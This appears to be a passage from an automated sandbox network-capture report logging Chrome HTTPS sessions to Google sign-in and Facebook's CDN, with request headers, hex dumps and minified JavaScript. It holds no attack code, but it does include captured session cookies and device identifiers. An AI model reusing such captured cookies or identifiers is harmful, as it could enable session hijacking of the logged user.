report-to="AccountsSignInUi" Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-17 23:34:59 UTC	1655	IN	Data Raw: 36 37 30 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 33 20 28 46 6f 72 62 69 64 64 65 6e 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 44 71 70 69 6d 48 37 48 42 35 51 42 39 58 62 76 63 74 54 77 66 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 Data Ascii: 670<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 403 (Forbidden)!!1</title><style nonce="DqpimH7HB5QB9XbvctTwfw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans
2024-01-17 23:34:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	49855	142.251.163.84	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:58 UTC	1776	OUT	GET /InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3D%252Fsignin_passive%26feature%3Dpassive&hl=en&passive=true&service=youtube&uilel=3&ifkv=ASKXGp3fVzQOAIUzay_76V7qWbAaDRWGasbse-QzbkN9MwrrHFMQlRupNDDVCLZCYNaottGrIEqf HTTP/1.1 Host: accounts.google.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Chrome-ID-Consistency-Request: version=1,client_id=77185425430.apps.googleusercontent.com,device_id=ce97e620-e5c8-47da-b1c2-66080ca9ba90,signin_mode=all_accounts,signout_mode=show_confirmation X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg
2024-01-17 23:34:59 UTC	1544	IN	HTTP/1.1 302 Moved Temporarily Content-Type: text/html; charset=UTF-8 Set-Cookie: __Host-GAPS=1:PRCKwcOm1FsbEuLXjqbDzqC1eGDbwA:dxBrfB3_c0evlsGp;Path=/;Expires=Fri, 16-Jan-2026 23:34:59 GMT;Secure;HttpOnly;Priority=HIGH X-Frame-Options: DENY Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:34:59 GMT Location: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3D%252Fsignin_passive%26feature%3Dpassive&hl=en&ifkv=ASKXGp2gStXVrlBaQMjEgnAGuNCSSHQe1IaseXO0u3ysS0pvSXZ4fQfiD0S-4xguuLCPZm_FnOKq&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-787607905%3A1705534499113821&theme=glif Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Security-Policy: script-src 'report-sample' 'nonce-B3UV6TXmsm8L6Goxen0Zzg' 'unsafe-inline' 'unsafe-eval';object-src 'none';base-uri 'self';report-uri /cspreport Content-Security-Policy: require-trusted-types-for 'script';report-uri /cspreport Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_qebhlk" Report-To: {"group":"coop_gse_qebhlk","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gse_qebhlk"}]} Content-Length: 636 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:34:59 UTC	636	IN	Data Raw: 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 76 33 2f 73 69 67 6e 69 6e 2f 69 64 65 6e 74 69 66 69 65 72 3f 63 6f 6e 74 69 6e 75 65 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 79 6f 75 74 75 62 65 2e 63 6f 6d 25 32 46 73 69 67 6e 69 6e 25 33 46 61 63 Data Ascii: <HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000"><H1>Moved Temporarily</H1>The document has moved <A HREF="https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Fac

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	49861	157.240.241.1	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:59 UTC	599	OUT	GET /rsrc.php/v3/yZ/r/I_Arz_GerDQ.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:34:59 UTC	1245	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: tlypIN2kHh2xWebIrS9KOQ== Expires: Thu, 16 Jan 2025 02:02:22 GMT Cache-Control: public,max-age=31536000,immutable timing-allow-origin: * document-policy: force-load-at-top permissions-policy-report-only: autoplay=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(), picture-in-picture=(), xr-spatial-tracking=() permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(), fullscreen=(), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=() cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff reporting-endpoints: X-FB-Debug: pBd5Cr13PCsD7VX5/MC59PGPPm869KA0wLX6lMZ/YhCEIYL3aIonUiJwg6X2gKRjz4s4s7OuQn7goL9PG2VN4g== Date: Wed, 17 Jan 2024 23:34:59 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 20462
2024-01-17 23:34:59 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-01-17 23:34:59 UTC	1500	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 49 6d 70 6c 46 6f 72 42 6c 75 65 22 2c 5b 22 45 76 65 6e 74 22 2c 22 54 69 6d 65 53 6c 69 63 65 22 2c 22 65 6d 70 74 79 46 75 6e 63 74 69 6f 6e 22 2c 22 73 65 74 49 6d 6d 65 64 69 61 74 65 41 63 72 6f 73 73 54 72 61 6e 73 69 74 69 6f 6e 73 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 61 2c 62 2c 64 2c 65 29 7b 76 61 72 20 66 3d 63 28 22 54 69 6d 65 53 6c 69 63 65 22 29 2e 67 75 61 72 64 28 64 2c 22 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 20 63 61 70 74 75 72 65 20 22 2b 62 29 3b 69 66 28 61 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 29 7b 61 2e 61 64 64 45 76 65 6e 74 4c Data Ascii: /FB_PKG_DELIM/__d("EventListenerImplForBlue",["Event","TimeSlice","emptyFunction","setImmediateAcrossTransitions"],(function(a,b,c,d,e,f,g){function h(a,b,d,e){var f=c("TimeSlice").guard(d,"EventListener capture "+b);if(a.addEventListener){a.addEventL
2024-01-17 23:34:59 UTC	14958	IN	Data Raw: 73 2e 6c 65 6e 67 74 68 3d 3d 3d 31 29 72 65 74 75 72 6e 20 74 68 69 73 2e 61 64 64 28 61 2e 6d 75 6c 28 2d 31 29 29 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 74 68 69 73 2e 61 64 64 28 2d 61 2c 2d 62 29 7d 3b 62 2e 64 69 73 74 61 6e 63 65 54 6f 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 73 75 62 28 61 29 2e 6d 61 67 6e 69 74 75 64 65 28 29 7d 3b 62 2e 6d 61 67 6e 69 74 75 64 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 4d 61 74 68 2e 73 71 72 74 28 74 68 69 73 2e 78 2a 74 68 69 73 2e 78 2b 74 68 69 73 2e 79 2a 74 68 69 73 2e 79 29 7d 3b 62 2e 72 6f 74 61 74 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 64 65 72 69 76 65 28 74 68 69 73 2e 78 2a 4d 61 74 68 2e 63 6f 73 28 61 29 2d Data Ascii: s.length===1)return this.add(a.mul(-1));else return this.add(-a,-b)};b.distanceTo=function(a){return this.sub(a).magnitude()};b.magnitude=function(){return Math.sqrt(this.xthis.x+this.ythis.y)};b.rotate=function(a){return this.derive(this.x*Math.cos(a)-
2024-01-17 23:34:59 UTC	4003	IN	Data Raw: 69 63 65 22 2c 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 2e 67 75 61 72 64 28 61 2c 22 75 6e 73 74 61 62 6c 65 5f 77 72 61 70 43 61 6c 6c 62 61 63 6b 22 2c 7b 70 72 6f 70 61 67 61 74 69 6f 6e 54 79 70 65 3a 62 2e 50 72 6f 70 61 67 61 74 69 6f 6e 54 79 70 65 2e 43 4f 4e 54 49 4e 55 41 54 49 4f 4e 2c 72 65 67 69 73 74 65 72 43 61 6c 6c 53 74 61 63 6b 3a 21 30 7d 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 7d 29 3b 72 65 74 75 72 6e 20 67 2e 75 6e 73 74 61 62 6c 65 5f 77 72 61 70 43 61 6c 6c 62 61 63 6b 28 63 29 7d 2c 75 6e 73 74 61 62 6c 65 5f 70 61 75 73 65 45 78 65 63 75 74 69 6f 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 67 2e 75 6e 73 74 61 62 6c 65 5f 70 61 75 73 65 45 78 65 63 75 74 69 6f 6e 28 Data Ascii: ice",function(b){return b.guard(a,"unstable_wrapCallback",{propagationType:b.PropagationType.CONTINUATION,registerCallStack:!0})},function(){return a});return g.unstable_wrapCallback(c)},unstable_pauseExecution:function(){return g.unstable_pauseExecution(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	49862	157.240.241.1	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:59 UTC	610	OUT	GET /rsrc.php/v3ihVQ4/y8/l/en_US/Ch_YChJCKQS.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:34:59 UTC	1230	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: V4ZnIfw0W6nY/EYXKwORTw== Expires: Mon, 06 Jan 2025 19:15:27 GMT Cache-Control: public,max-age=31536000,immutable timing-allow-origin: * document-policy: force-load-at-top permissions-policy-report-only: autoplay=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(), keyboard-map=(), picture-in-picture=(), xr-spatial-tracking=() permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=() cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff reporting-endpoints: X-FB-Debug: tgAxhcU0SYwoPCsyFbBy4rH6OJj+i3mY3A3YCOVZZnKUYwHAniQNtoQy/G4VZwQjcSe4TwIbvYFg4dAIN0nMJw== Date: Wed, 17 Jan 2024 23:34:59 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 46791
2024-01-17 23:34:59 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-01-17 23:34:59 UTC	1500	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 43 61 63 68 65 53 74 6f 72 61 67 65 22 2c 5b 22 45 72 72 6f 72 47 75 61 72 64 22 2c 22 45 78 65 63 75 74 69 6f 6e 45 6e 76 69 72 6f 6e 6d 65 6e 74 22 2c 22 57 65 62 53 74 6f 72 61 67 65 22 2c 22 63 72 3a 36 39 34 33 22 2c 22 63 72 3a 38 39 35 38 22 2c 22 65 6d 70 74 79 46 75 6e 63 74 69 6f 6e 22 2c 22 65 72 72 22 2c 22 6b 69 6c 6c 73 77 69 74 63 68 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 29 7b 76 61 72 20 68 2c 69 2c 6a 2c 6b 3d 22 5f 40 5f 22 2c 6c 3d 22 33 62 22 2c 6d 3d 22 43 61 63 68 65 53 74 6f 72 61 67 65 56 65 72 73 69 6f 6e 22 2c 6e 3d 7b 6c 65 6e 67 74 68 3a 30 2c 67 65 74 49 74 65 6d 3a 61 3d 63 28 22 65 6d 70 74 79 46 75 6e 63 74 69 6f 6e Data Ascii: /FB_PKG_DELIM/__d("CacheStorage",["ErrorGuard","ExecutionEnvironment","WebStorage","cr:6943","cr:8958","emptyFunction","err","killswitch"],(function(a,b,c,d,e,f,g){var h,i,j,k="_@_",l="3b",m="CacheStorageVersion",n={length:0,getItem:a=c("emptyFunction
2024-01-17 23:34:59 UTC	14962	IN	Data Raw: 65 74 75 72 6e 20 74 68 69 73 2e 5f 73 74 6f 72 65 5b 61 5d 3d 3d 3d 76 6f 69 64 20 30 3f 6e 75 6c 6c 3a 74 68 69 73 2e 5f 73 74 6f 72 65 5b 61 5d 7d 3b 62 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 74 68 69 73 2e 5f 73 74 6f 72 65 5b 61 5d 3d 62 7d 3b 62 2e 72 65 6d 6f 76 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 20 69 6e 20 74 68 69 73 2e 5f 73 74 6f 72 65 26 26 64 65 6c 65 74 65 20 74 68 69 73 2e 5f 73 74 6f 72 65 5b 61 5d 7d 3b 62 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 73 74 6f 72 65 3d 7b 7d 7d 3b 62 2e 63 6c 65 61 72 57 69 74 68 50 72 65 66 69 78 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 61 7c 7c 22 22 3b 76 61 72 20 62 3d 74 68 69 73 2e 6b 65 79 73 28 29 3b 66 6f 72 28 76 61 72 20 63 3d 30 3b 63 Data Ascii: eturn this._store[a]===void 0?null:this._store[a]};b.set=function(a,b){this._store[a]=b};b.remove=function(a){a in this._store&&delete this._store[a]};b.clear=function(){this._store={}};b.clearWithPrefix=function(a){a=a\|\|"";var b=this.keys();for(var c=0;c
2024-01-17 23:34:59 UTC	16384	IN	Data Raw: 2f 28 5e 7c 5c 2e 29 66 61 63 65 62 6f 6f 6b 5c 2e 28 63 6f 6d 7c 73 67 29 24 2f 2e 74 65 73 74 28 61 29 3b 69 66 28 62 29 72 65 74 75 72 6e 22 66 61 63 65 62 6f 6f 6b 22 3b 62 3d 2f 28 5e 7c 5c 2e 29 69 6e 73 74 61 67 72 61 6d 5c 2e 63 6f 6d 24 2f 2e 74 65 73 74 28 61 29 3b 69 66 28 62 29 72 65 74 75 72 6e 22 69 6e 73 74 61 67 72 61 6d 22 3b 62 3d 2f 28 5e 7c 5c 2e 29 74 68 72 65 61 64 73 5c 2e 6e 65 74 24 2f 2e 74 65 73 74 28 61 29 3b 69 66 28 62 29 72 65 74 75 72 6e 22 74 68 72 65 61 64 73 22 3b 62 3d 2f 28 5e 7c 5c 2e 29 6d 65 73 73 65 6e 67 65 72 5c 2e 63 6f 6d 24 2f 2e 74 65 73 74 28 61 29 3b 72 65 74 75 72 6e 20 62 3f 22 6d 65 73 73 65 6e 67 65 72 22 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 6a 28 61 29 7b 69 66 28 61 3d 3d 3d 22 69 6e 73 74 61 Data Ascii: /(^\|\.)facebook\.(com\|sg)$/.test(a);if(b)return"facebook";b=/(^\|\.)instagram\.com$/.test(a);if(b)return"instagram";b=/(^\|\.)threads\.net$/.test(a);if(b)return"threads";b=/(^\|\.)messenger\.com$/.test(a);return b?"messenger":null}function j(a){if(a==="insta
2024-01-17 23:34:59 UTC	13944	IN	Data Raw: 61 28 63 29 3b 72 65 74 75 72 6e 20 64 7d 3b 61 2e 65 78 69 73 74 73 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 20 69 6e 20 67 7d 3b 61 2e 72 65 6d 6f 76 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 64 65 6c 65 74 65 20 67 5b 61 5d 7d 3b 72 65 74 75 72 6e 20 61 7d 28 29 3b 66 5b 22 64 65 66 61 75 6c 74 22 5d 3d 61 7d 29 2c 36 36 29 3b 0a 5f 5f 64 28 22 46 61 6c 63 6f 4c 6f 67 67 65 72 54 72 61 6e 73 70 6f 72 74 73 22 2c 5b 22 41 6e 61 6c 79 74 69 63 73 43 6f 72 65 44 61 74 61 22 2c 22 42 61 6e 7a 61 69 22 2c 22 45 78 65 63 75 74 69 6f 6e 45 6e 76 69 72 6f 6e 6d 65 6e 74 22 2c 22 46 42 4c 6f 67 67 65 72 22 2c 22 46 61 6c 63 6f 41 70 70 55 6e 69 76 65 72 73 65 22 2c 22 46 61 6c 63 6f 55 74 69 6c 73 22 2c 22 4f 44 53 22 Data Ascii: a(c);return d};a.exists=function(a){return a in g};a.remove=function(a){return delete g[a]};return a}();f["default"]=a}),66);__d("FalcoLoggerTransports",["AnalyticsCoreData","Banzai","ExecutionEnvironment","FBLogger","FalcoAppUniverse","FalcoUtils","ODS"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	49860	157.240.241.1	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:59 UTC	599	OUT	GET /rsrc.php/v3/yh/r/ysfm_2i9xtW.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:34:59 UTC	1229	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: twKMVRJsM9GiRCiyjnHKGw== Expires: Sat, 11 Jan 2025 22:16:35 GMT Cache-Control: public,max-age=31536000,immutable timing-allow-origin: * document-policy: force-load-at-top permissions-policy-report-only: autoplay=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(), picture-in-picture=(), xr-spatial-tracking=() permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=() cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff reporting-endpoints: X-FB-Debug: /BmsIUDKTIl/x911Ec1rg2p85cvai5viO6pIsTbRT8fxo2kNNz6tcZ7pHMpl+OOGGcSHY9HfJxm+ibZtgWHexg== Date: Wed, 17 Jan 2024 23:34:59 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 6429
2024-01-17 23:34:59 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-01-17 23:34:59 UTC	1500	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 55 73 65 72 41 63 74 69 76 69 74 79 22 2c 5b 22 63 72 3a 31 36 33 34 36 31 36 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 65 2e 65 78 70 6f 72 74 73 3d 62 28 22 63 72 3a 31 36 33 34 36 31 36 22 29 7d 29 2c 6e 75 6c 6c 29 3b 0a 5f 5f 64 28 22 43 6f 6d 65 74 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 22 2c 5b 22 75 6e 72 65 63 6f 76 65 72 61 62 6c 65 56 69 6f 6c 61 74 69 6f 6e 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 68 28 61 2c 62 2c 64 2c 65 29 7b 69 66 28 61 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 29 7b 61 2e 61 64 64 45 76 65 6e 74 4c 69 Data Ascii: /FB_PKG_DELIM/__d("UserActivity",["cr:1634616"],(function(a,b,c,d,e,f){e.exports=b("cr:1634616")}),null);__d("CometEventListener",["unrecoverableViolation"],(function(a,b,c,d,e,f,g){"use strict";function h(a,b,d,e){if(a.addEventListener){a.addEventLi
2024-01-17 23:34:59 UTC	4928	IN	Data Raw: 20 6b 5b 62 5d 3f 6b 5b 62 5d 28 61 29 3a 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 62 29 7d 2c 73 65 74 44 61 74 61 41 74 74 72 69 62 75 74 65 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 6c 5b 62 5d 3f 6c 5b 62 5d 28 61 2c 63 29 3a 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 62 2c 63 29 7d 2c 67 65 74 44 61 74 61 46 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 6a 2e 45 4e 41 42 4c 45 5f 53 54 4f 52 45 5f 43 4c 49 43 4b 5f 54 52 41 43 4b 49 4e 47 29 29 7b 76 61 72 20 63 3d 62 28 22 63 72 3a 36 36 36 39 22 29 2e 67 65 74 28 61 2c 6a 2e 43 4c 49 43 4b 5f 54 52 41 43 4b 49 4e 47 5f 44 41 54 41 53 54 4f 52 45 5f 4b 45 59 29 3b 63 7c 7c 28 63 3d 6a 2e 6d 6f 76 65 43 6c 69 63 6b Data Ascii: k[b]?k[b](a):a.getAttribute(b)},setDataAttribute:function(a,b,c){return l[b]?l[b](a,c):a.setAttribute(b,c)},getDataFt:function(a){if(a.getAttribute(j.ENABLE_STORE_CLICK_TRACKING)){var c=b("cr:6669").get(a,j.CLICK_TRACKING_DATASTORE_KEY);c\|\|(c=j.moveClick

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	49863	142.251.163.84	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:59 UTC	1882	OUT	GET /v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3D%252Fsignin_passive%26feature%3Dpassive&hl=en&ifkv=ASKXGp2gStXVrlBaQMjEgnAGuNCSSHQe1IaseXO0u3ysS0pvSXZ4fQfiD0S-4xguuLCPZm_FnOKq&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-787607905%3A1705534499113821&theme=glif HTTP/1.1 Host: accounts.google.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Chrome-ID-Consistency-Request: 